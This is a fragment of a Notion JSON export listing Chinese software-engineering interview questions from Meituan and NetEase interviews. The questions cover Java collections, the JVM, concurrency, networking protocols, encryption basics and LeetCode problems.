的内部实现"]]},"created_time":1712329332854,"last_edited_time":1712331000732,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"835e55ae-eb81-4950-9024-d1787c2c15d1":{"value":{"id":"835e55ae-eb81-4950-9024-d1787c2c15d1","type":"bulleted_list","properties":{"title":[["String 对象主要存储在哪块区域(常量池)"]]},"created_time":1712329332854,"last_edited_time":1712331002729,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"16e50aa7-d560-4ca6-a927-d59b2ba9ed7e":{"value":{"id":"16e50aa7-d560-4ca6-a927-d59b2ba9ed7e","type":"bulleted_list","properties":{"title":[["重载和重写的区别"]]},"created_time":1712329332855,"last_edited_time":1712331004720,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2d6ae431-3db0-4f7a-8b86-74e02cff297c":{"value":{"id":"2d6ae431-3db0-4f7a-8b86-74e02cff297c","type":"bulleted_list","properties":{"title":[["HashMap 和 HashSet 的区别"]]},"created_time":1712329332855,"last_edited_time":1712331012242,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"99e19fb8-d5f3-4653-b67e-bbe6f5fc17a8":{"value":{"id":"99e19fb8-d5f3-4653-b67e-bbe6f5fc17a8","type":"bulleted_list","properties":{"title":[["写一下 HashSet 的实现"]]},"created_time":1712329332856,"last_edited_time":1712331019249,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d19b96bf-307f-43b5-900e-fa62edc6209a":{"value":{"id":"d19b96bf-307f-43b5-900e-fa62edc6209a","type":"bulleted_list","properties":{"title":[["JVM运行时数据区"]]},"created_time":1712329332857,"last_edited_time":1712331043856,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"904d8382-b8cc-4f04-b847-a839c34ac76f":{"value":{"id":"904d8382-b8cc-4f04-b847-a839c34ac76f","type":"bulleted_list","properties":{"title":[["JVM创建对象的过程"]]},"created_time":1712329332857,"last_edited_time":1712331045975,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ccf7def0-47cd-46a8-b93b-95e986c560d0":{"value":{"id":"ccf7def0-47cd-46a8-b93b-95e986c560d0","type":"bulleted_list","properties":{"title":[["JVM判断一个对象是否被回收"]]},"created_time":1712329332857,"last_edited_time":1712331047899,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"40a6e7f8-b031-465a-a75a-6a0e189033f3":{"value":{"id":"40a6e7f8-b031-465a-a75a-6a0e189033f3","type":"bulleted_list","properties":{"title":[["JVM新生代和老年代用的垃圾回收策略"]]},"created_time":1712329332858,"last_edited_time":1712331049623,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"07158b02-7dcd-4076-9945-a0643df8dc14":{"value":{"id":"07158b02-7dcd-4076-9945-a0643df8dc14","type":"bulleted_list","properties":{"title":[["LRU 的实现"]]},"created_time":1712329332858,"last_edited_time":1712331056164,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fb479a5c-ca71-4bcd-b527-cbe7f7695fdb":{"value":{"id":"fb479a5c-ca71-4bcd-b527-cbe7f7695fdb","type":"bulleted_list","properties":{"title":[["LRU缓存机制(力扣146题)"]]},"created_time":1712329332859,"last_edited_time":1712329332859,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b8fd7916-a21f-4e62-86eb-01b22a3bf266":{"value":{"id":"b8fd7916-a21f-4e62-86eb-01b22a3bf266","type":"bulleted_list","properties":{"title":[["HTTP的缓存机制"]]},"created_time":1712329332859,"last_edited_time":1712331071432,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"23bc3d4b-3fd5-4e48-a7f3-8d4f50846512":{"value":{"id":"23bc3d4b-3fd5-4e48-a7f3-8d4f50846512","type":"bulleted_list","properties":{"title":[["查找单向链表的中间结点,lc第876题"]]},"created_time":1712329332859,"last_edited_time":1712329332859,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f43edb10-d620-4603-b904-a684ef1468e8":{"value":{"id":"f43edb10-d620-4603-b904-a684ef1468e8","type":"bulleted_list","properties":{"title":[["链表的倒数第 k 个节点,剑指第22题"]]},"created_time":1712329332860,"last_edited_time":1712329332860,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"bd838216-2b17-467e-af24-5669df4151a8":{"value":{"id":"bd838216-2b17-467e-af24-5669df4151a8","type":"bulleted_list","properties":{"title":[["你希望在什么样的团队里面"]]},"created_time":1712329332861,"last_edited_time":1712329332861,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4e4de5a8-3192-4dd7-a349-a97784269d54":{"value":{"id":"4e4de5a8-3192-4dd7-a349-a97784269d54","type":"bulleted_list","properties":{"title":[["HashMap、HashTable 和 ConcurrentHashMap 的区别"]]},"created_time":1712329332861,"last_edited_time":1712331118438,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fb1ca4be-2d75-4c1a-aee1-4f91c6d5548f":{"value":{"id":"fb1ca4be-2d75-4c1a-aee1-4f91c6d5548f","type":"bulleted_list","properties":{"title":[["强引用、弱引用、软引用和虚引用的区别(我还加上了一个终结器引"]]},"created_time":1712329332862,"last_edited_time":1712331120868,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3d0a8a1c-2356-47d4-a77d-782a5008f3d8":{"value":{"id":"3d0a8a1c-2356-47d4-a77d-782a5008f3d8","type":"bulleted_list","properties":{"title":[["线程的生命周期"]]},"created_time":1712329332862,"last_edited_time":1712331123153,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"87e7411b-590a-4008-918e-96a6cc7460c0":{"value":{"id":"87e7411b-590a-4008-918e-96a6cc7460c0","type":"bulleted_list","properties":{"title":[["sleep和wait的区别"]]},"created_time":1712329332862,"last_edited_time":1712331125262,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6dccc920-07a4-4b2e-a751-e15f7d21b2e4":{"value":{"id":"6dccc920-07a4-4b2e-a751-e15f7d21b2e4","type":"bulleted_list","properties":{"title":[["死锁产生的原因"]]},"created_time":1712329332862,"last_edited_time":1712331129116,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"54c58405-5789-4125-aad6-8db9e7602fa7":{"value":{"id":"54c58405-5789-4125-aad6-8db9e7602fa7","type":"bulleted_list","properties":{"title":[["最大子序和"]]},"created_time":1712329332863,"last_edited_time":1712329332863,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"113d9193-56d8-4080-9d6a-4f0c2021aa8e":{"value":{"id":"113d9193-56d8-4080-9d6a-4f0c2021aa8e","type":"header","properties":{"title":[["17.美团"]]},"created_time":1712335033585,"last_edited_time":1712335057748,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"fd6ad2dc-92a2-4575-92a2-bee99eedb8e9":{"value":{"id":"fd6ad2dc-92a2-4575-92a2-bee99eedb8e9","type":"bulleted_list","properties":{"title":[["一个装了 10L 水的桶,一个 7L 的空桶,一个 3L 的空桶,怎样变成 2\n个 5L"]]},"created_time":1712329332863,"last_edited_time":1712329332863,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8257827d-5b14-4993-add7-86e09de994ec":{"value":{"id":"8257827d-5b14-4993-add7-86e09de994ec","type":"bulleted_list","properties":{"title":[["c++ 和 java 在内存管理方面的区别"]]},"created_time":1712329332864,"last_edited_time":1712331168032,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"cbfc74bc-4d2b-43c5-acc3-b5957550ddcf":{"value":{"id":"cbfc74bc-4d2b-43c5-acc3-b5957550ddcf","type":"bulleted_list","properties":{"title":[["c++ 有垃圾回收么"]]},"created_time":1712329332865,"last_edited_time":1712331169699,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a5d04bb1-d2af-45f9-803b-0ddbcb5633e1":{"value":{"id":"a5d04bb1-d2af-45f9-803b-0ddbcb5633e1","type":"bulleted_list","properties":{"title":[["对 gc(垃圾回收)的理解"]]},"created_time":1712329332865,"last_edited_time":1712331173246,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a302736c-f9b1-4002-a899-46140a8d587e":{"value":{"id":"a302736c-f9b1-4002-a899-46140a8d587e","type":"bulleted_list","properties":{"title":[["你觉得可达性分析用什么数据结构比较好(垃圾回收的延伸知识)"]]},"created_time":1712329332865,"last_edited_time":1712331175803,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"117f9f51-66d0-4f7f-9a0e-fda05ca435c6":{"value":{"id":"117f9f51-66d0-4f7f-9a0e-fda05ca435c6","type":"bulleted_list","properties":{"title":[["JVM管理内存的策略和机制有哪些"]]},"created_time":1712329332866,"last_edited_time":1712331182125,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f6f3d112-a2d7-4b5e-bb5b-35607553466b":{"value":{"id":"f6f3d112-a2d7-4b5e-bb5b-35607553466b","type":"bulleted_list","properties":{"title":[["JVM垃圾回收算法"]]},"created_time":1712329332866,"last_edited_time":1712331185279,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9c63a9b3-62c0-4de8-9ca9-7c646d553139":{"value":{"id":"9c63a9b3-62c0-4de8-9ca9-7c646d553139","type":"bulleted_list","properties":{"title":[["语言类内存泄露的场景"]]},"created_time":1712329332866,"last_edited_time":1712331187982,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6a780d6f-3a5f-413d-8d6f-59e6a02ac187":{"value":{"id":"6a780d6f-3a5f-413d-8d6f-59e6a02ac187","type":"bulleted_list","properties":{"title":[["语言类c++中的对象类,对象内部的类是如何存储的,内部元素存储在哪些空间里面"]]},"created_time":1712329332867,"last_edited_time":1712331194489,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d22ed4df-f41c-4adc-863c-baee8e848f65":{"value":{"id":"d22ed4df-f41c-4adc-863c-baee8e848f65","type":"bulleted_list","properties":{"title":[["调用函数的实现机制"]]},"created_time":1712329332867,"last_edited_time":1712331198964,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5ac8500f-52d3-4f41-a37c-0079da114817":{"value":{"id":"5ac8500f-52d3-4f41-a37c-0079da114817","type":"bulleted_list","properties":{"title":[["网络传输都做了哪些事"]]},"created_time":1712329332867,"last_edited_time":1712331202386,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2f7deb77-b645-457e-9dbf-85d7972d95aa":{"value":{"id":"2f7deb77-b645-457e-9dbf-85d7972d95aa","type":"bulleted_list","properties":{"title":[["如何保障网络传输的数据安全"]]},"created_time":1712329332868,"last_edited_time":1712331208944,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b2b0a4ee-4bf1-4935-b1aa-38d7d45d6471":{"value":{"id":"b2b0a4ee-4bf1-4935-b1aa-38d7d45d6471","type":"bulleted_list","properties":{"title":[["AES 的加于RSA么"]]},"created_time":1712329332868,"last_edited_time":1712331211319,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"cedac770-c80f-4c74-858c-9b7a10b693e8":{"value":{"id":"cedac770-c80f-4c74-858c-9b7a10b693e8","type":"bulleted_list","properties":{"title":[["RSA 的实现原理"]]},"created_time":1712329332868,"last_edited_time":1712331215078,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d5885d36-3e02-43c6-8332-e18051938620":{"value":{"id":"d5885d36-3e02-43c6-8332-e18051938620","type":"bulleted_list","properties":{"title":[["MD5 加密以后能解密么"]]},"created_time":1712329332869,"last_edited_time":1712331217073,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8bf9f298-bebd-479f-9333-04e9f19f829f":{"value":{"id":"8bf9f298-bebd-479f-9333-04e9f19f829f","type":"bulleted_list","properties":{"title":[["网络传输中,你只把数据加密了,就能保证网络的安全么?有没有其他的隐患"]]},"created_time":1712329332869,"last_edited_time":1712331219227,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2bb21032-2d34-4a89-96ea-3f5cc0e5807a":{"value":{"id":"2bb21032-2d34-4a89-96ea-3f5cc0e5807a","type":"bulleted_list","properties":{"title":[["有没有了解过如何规避 DNS 劫持"]]},"created_time":1712329332869,"last_edited_time":1712331226441,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d03de96d-d088-405d-9d96-a426c1f9cc3e":{"value":{"id":"d03de96d-d088-405d-9d96-a426c1f9cc3e","type":"bulleted_list","properties":{"title":[["洪泛攻击的规避方法"]]},"created_time":1712329332870,"last_edited_time":1712331228491,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b8e40a36-4517-4207-a11c-14d6cdf28961":{"value":{"id":"b8e40a36-4517-4207-a11c-14d6cdf28961","type":"bulleted_list","properties":{"title":[["如何把代码设计的更好,更健壮"]]},"created_time":1712329332870,"last_edited_time":1712331231990,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"edd67a0a-eba5-495e-92f7-9b046a278f4d":{"value":{"id":"edd67a0a-eba5-495e-92f7-9b046a278f4d","type":"header","properties":{"title":[["18.美团"]]},"created_time":1712329332870,"last_edited_time":1712335075158,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"837f7c52-e627-40af-814b-69e35494cdef":{"value":{"id":"837f7c52-e627-40af-814b-69e35494cdef","type":"bulleted_list","properties":{"title":[["常用的设计原则和设计模式"]]},"created_time":1712335075158,"last_edited_time":1712335078148,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"d2866f2b-87ae-4656-b979-29f0ec2684ac":{"value":{"id":"d2866f2b-87ae-4656-b979-29f0ec2684ac","type":"bulleted_list","properties":{"title":[["滑动窗口的最大值,lc 239题"]]},"created_time":1712329332870,"last_edited_time":1712329332870,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3657f222-c8e3-4120-a383-a80830ac8f5e":{"value":{"id":"3657f222-c8e3-4120-a383-a80830ac8f5e","type":"bulleted_list","properties":{"title":[["顺时针打印矩阵,lc剑指29"]]},"created_time":1712329332871,"last_edited_time":1712329332871,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"44dd2010-7d49-4829-84ae-c74fa0590aa8":{"value":{"id":"44dd2010-7d49-4829-84ae-c74fa0590aa8","type":"bulleted_list","properties":{"title":[["最小路径和,力扣64题"]]},"created_time":1712329332871,"last_edited_time":1712329332871,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0630b467-2fa4-43e3-9cd7-7f123614bab0":{"value":{"id":"0630b467-2fa4-43e3-9cd7-7f123614bab0","type":"bulleted_list","properties":{"title":[["前面的面试结束以后,对美团的基本情况有一定了解了么"]]},"created_time":1712329332871,"last_edited_time":1712329332871,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"eb4158ca-277d-4570-81d0-c54eee2820f3":{"value":{"id":"eb4158ca-277d-4570-81d0-c54eee2820f3","type":"bulleted_list","properties":{"title":[["意向城市是上海的原因(简历和最后的业务不在同城而引发的问题)"]]},"created_time":1712329332872,"last_edited_time":1712329332872,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"60ca9c7e-9943-42e4-86f6-82e67ff87808":{"value":{"id":"60ca9c7e-9943-42e4-86f6-82e67ff87808","type":"bulleted_list","properties":{"title":[["实习经历盘问,主要针对简历上的"]]},"created_time":1712329332872,"last_edited_time":1712329332872,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"988e87c0-68e0-454e-a5c8-f3f522b9e86d":{"value":{"id":"988e87c0-68e0-454e-a5c8-f3f522b9e86d","type":"bulleted_list","properties":{"title":[["实习以后的收获"]]},"created_time":1712329332873,"last_edited_time":1712329332873,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6e167ad2-fdf8-4bc0-9213-38464e7cd641":{"value":{"id":"6e167ad2-fdf8-4bc0-9213-38464e7cd641","type":"bulleted_list","properties":{"title":[["选择岗位的偏向"]]},"created_time":1712329332873,"last_edited_time":1712329332873,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2da38215-33c1-4df3-add0-b39dc08d650a":{"value":{"id":"2da38215-33c1-4df3-add0-b39dc08d650a","type":"bulleted_list","properties":{"title":[["觉得自己经历过最难的项目是哪个3"]]},"created_time":1712329332873,"last_edited_time":1712329332873,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"04d6c496-6234-4432-8853-ef7c6659526c":{"value":{"id":"04d6c496-6234-4432-8853-ef7c6659526c","type":"bulleted_list","properties":{"title":[["你还有其他 offer 么"]]},"created_time":1712329332874,"last_edited_time":1712329332874,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ffa1d211-2523-4fe6-85a7-bebc854205ae":{"value":{"id":"ffa1d211-2523-4fe6-85a7-bebc854205ae","type":"bulleted_list","properties":{"title":[["你手上这些 offer,你会怎么选"]]},"created_time":1712329332874,"last_edited_time":1712329332874,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f409a464-c698-4bcd-9c4f-9394704b2b88":{"value":{"id":"f409a464-c698-4bcd-9c4f-9394704b2b88","type":"bulleted_list","properties":{"title":[["反问环节:进去以后的部门和岗位,需要自己做选择么"]]},"created_time":1712329332874,"last_edited_time":1712329332874,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"53ad0310-cd55-4983-ac29-1e7ae3f933e7":{"value":{"id":"53ad0310-cd55-4983-ac29-1e7ae3f933e7","type":"bulleted_list","properties":{"title":[["反问环节:如果有意向书的话,大概什么时候发放 ## 网易"]]},"created_time":1712329332875,"last_edited_time":1712329332875,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4d048ab0-72b5-4844-8909-2e8cc6221cf2":{"value":{"id":"4d048ab0-72b5-4844-8909-2e8cc6221cf2","type":"bulleted_list","properties":{"title":[["final 关键字的作用,final 在多线程并发条件下的作用"]]},"created_time":1712329332875,"last_edited_time":1712329332875,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0fe45e49-f2a3-4d61-a7e8-840b37cb9696":{"value":{"id":"0fe45e49-f2a3-4d61-a7e8-840b37cb9696","type":"bulleted_list","properties":{"title":[["线程安全"]]},"created_time":1712329332875,"last_edited_time":1712329332875,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"607bae43-2c6e-4abb-b77d-9dde20016f76":{"value":{"id":"607bae43-2c6e-4abb-b77d-9dde20016f76","type":"bulleted_list","properties":{"title":[["Map 接口的实现有哪几种,实现的特性是什么"]]},"created_time":1712329332875,"last_edited_time":1712329332875,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1fe46860-3aca-4bae-bc3d-9e3c4cac36df":{"value":{"id":"1fe46860-3aca-4bae-bc3d-9e3c4cac36df","type":"bulleted_list","properties":{"title":[["LinkedHashMap 的实现机制"]]},"created_time":1712329332876,"last_edited_time":1712329332876,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"18200f2e-3c8f-459b-a4e1-683276f6c4bd":{"value":{"id":"18200f2e-3c8f-459b-a4e1-683276f6c4bd","type":"bulleted_list","properties":{"title":[["synchronized 作用于不同方法和代码块的区别"]]},"created_time":1712329332876,"last_edited_time":1712329332876,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8c6611af-9591-424b-91b7-7a4b475a37c7":{"value":{"id":"8c6611af-9591-424b-91b7-7a4b475a37c7","type":"bulleted_list","properties":{"title":[["哪些方法可以创建线程池"]]},"created_time":1712329332876,"last_edited_time":1712329332876,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d966504a-f2d1-4f98-90aa-c47341c0b8d4":{"value":{"id":"d966504a-f2d1-4f98-90aa-c47341c0b8d4","type":"bulleted_list","properties":{"title":[["DNS 域名解析过程"]]},"created_time":1712329332877,"last_edited_time":1712329332877,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"36045654-93d0-4465-a3c8-2a777045d735":{"value":{"id":"36045654-93d0-4465-a3c8-2a777045d735","type":"bulleted_list","properties":{"title":[["DNS 劫持"]]},"created_time":1712329332877,"last_edited_time":1712329332877,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f86c3405-92a5-4d74-a0b0-d3757e6a28de":{"value":{"id":"f86c3405-92a5-4d74-a0b0-d3757e6a28de","type":"bulleted_list","properties":{"title":[["DNS 解析过程"]]},"created_time":1712329332877,"last_edited_time":1712331239752,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"5cc1bba6-174c-4224-a320-f8dbed6bc23c":{"value":{"id":"5cc1bba6-174c-4224-a320-f8dbed6bc23c","type":"bulleted_list","properties":{"title":[["DNS 协议的可靠性的设计"]]},"created_time":1712329332877,"last_edited_time":1712331241349,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f36d3293-d3e9-4dd1-9ce8-774a4e57dbbc":{"value":{"id":"f36d3293-d3e9-4dd1-9ce8-774a4e57dbbc","type":"bulleted_list","properties":{"title":[["DNS 协议改进方式"]]},"created_time":1712329332878,"last_edited_time":1712331245698,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"fccf6d56-7c38-48d6-8d46-b9a86d0c49c7":{"value":{"id":"fccf6d56-7c38-48d6-8d46-b9a86d0c49c7","type":"bulleted_list","properties":{"title":[["TCP 的拥塞控制机制"]]},"created_time":1712329332878,"last_edited_time":1712331249064,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ebec611c-09d6-46cc-b76b-c0dde9ba23aa":{"value":{"id":"ebec611c-09d6-46cc-b76b-c0dde9ba23aa","type":"bulleted_list","properties":{"title":[["HTTP 和 HTTPS 的区别"]]},"created_time":1712329332878,"last_edited_time":1712331251605,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e802bd99-b245-4a0a-bc4e-17db6bacb63b":{"value":{"id":"e802bd99-b245-4a0a-bc4e-17db6bacb63b","type":"bulleted_list","properties":{"title":[["HTTPS 怎么保证安全性的,具体的流程是什么样的"]]},"created_time":1712329332879,"last_edited_time":1712331253772,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"7ddcf2fa-2831-4b07-807f-771f89b74c20":{"value":{"id":"7ddcf2fa-2831-4b07-807f-771f89b74c20","type":"bulleted_list","created_time":1712335088504,"last_edited_time":1712335088504,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"d0f138e8-3ad9-46d1-a825-023f8e33e34b":{"value":{"id":"d0f138e8-3ad9-46d1-a825-023f8e33e34b","type":"header","properties":{"title":[["19.美团"]]},"created_time":1712329332879,"last_edited_time":1712335099644,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"54743673-3a06-4dc4-9475-57411dd861af":{"value":{"id":"54743673-3a06-4dc4-9475-57411dd861af","type":"bulleted_list","properties":{"title":[["对称加密和非对称加密的区别"]]},"created_time":1712335093810,"last_edited_time":1712335101865,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"c44094db-07b7-42cd-9feb-9342b648b95b":{"value":{"id":"c44094db-07b7-42cd-9feb-9342b648b95b","type":"bulleted_list","properties":{"title":[["HTTP 的版本差异"]]},"created_time":1712329332879,"last_edited_time":1712331260072,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4acb4452-f9df-46cf-a5c5-81560882d41c":{"value":{"id":"4acb4452-f9df-46cf-a5c5-81560882d41c","type":"bulleted_list","properties":{"title":[["进程和线程的区别"]]},"created_time":1712329332880,"last_edited_time":1712331262039,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"f709010e-a9d5-4b44-9661-f54fccb4d4ce":{"value":{"id":"f709010e-a9d5-4b44-9661-f54fccb4d4ce","type":"bulleted_list","properties":{"title":[["1个应用里面有多个进程么,在什么情况下需要一个应用里面有多个进程"]]},"created_time":1712329332880,"last_edited_time":1712331285056,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"45ca1bc5-fa92-4b80-bb2a-e4a391830464":{"value":{"id":"45ca1bc5-fa92-4b80-bb2a-e4a391830464","type":"bulleted_list","properties":{"title":[["在 Linux 系统下,有哪些进程调度的方式"]]},"created_time":1712329332880,"last_edited_time":1712331287274,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"803ad04c-53ed-4744-bc61-1f108ff25336":{"value":{"id":"803ad04c-53ed-4744-bc61-1f108ff25336","type":"bulleted_list","properties":{"title":[["跨进程通信的方式"]]},"created_time":1712329332880,"last_edited_time":1712331289282,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e430b7e1-a659-451e-a913-f3518f4b3885":{"value":{"id":"e430b7e1-a659-451e-a913-f3518f4b3885","type":"bulleted_list","properties":{"title":[["信号量怎么理解"]]},"created_time":1712329332881,"last_edited_time":1712331291289,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"720882d9-39fc-4526-87fd-30e8258ec6db":{"value":{"id":"720882d9-39fc-4526-87fd-30e8258ec6db","type":"bulleted_list","properties":{"title":[["操作系统层面,怎么实现异常中断"]]},"created_time":1712329332881,"last_edited_time":1712331301520,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1ca5c970-e3bd-42fd-acb1-279216728032":{"value":{"id":"1ca5c970-e3bd-42fd-acb1-279216728032","type":"bulleted_list","properties":{"title":[["LRU 缓存机制(力扣 146 题)"]]},"created_time":1712329332882,"last_edited_time":1712329332882,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ac77332f-4c32-4927-917a-cf0656258932":{"value":{"id":"ac77332f-4c32-4927-917a-cf0656258932","type":"bulleted_list","properties":{"title":[["http和https的区别"]]},"created_time":1712329332887,"last_edited_time":1712331337114,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"82296720-0806-47ee-9bde-735760f1d9f8":{"value":{"id":"82296720-0806-47ee-9bde-735760f1d9f8","type":"bulleted_list","properties":{"title":[["浏览器中输入域名(url)后发生了什么"]]},"created_time":1712329332887,"last_edited_time":1712331339198,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"37a7c44f-ed16-4fbb-9bb4-310cc550367b":{"value":{"id":"37a7c44f-ed16-4fbb-9bb4-310cc550367b","type":"bulleted_list","properties":{"title":[["进程和线程的定义"]]},"created_time":1712329332888,"last_edited_time":1712331340985,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","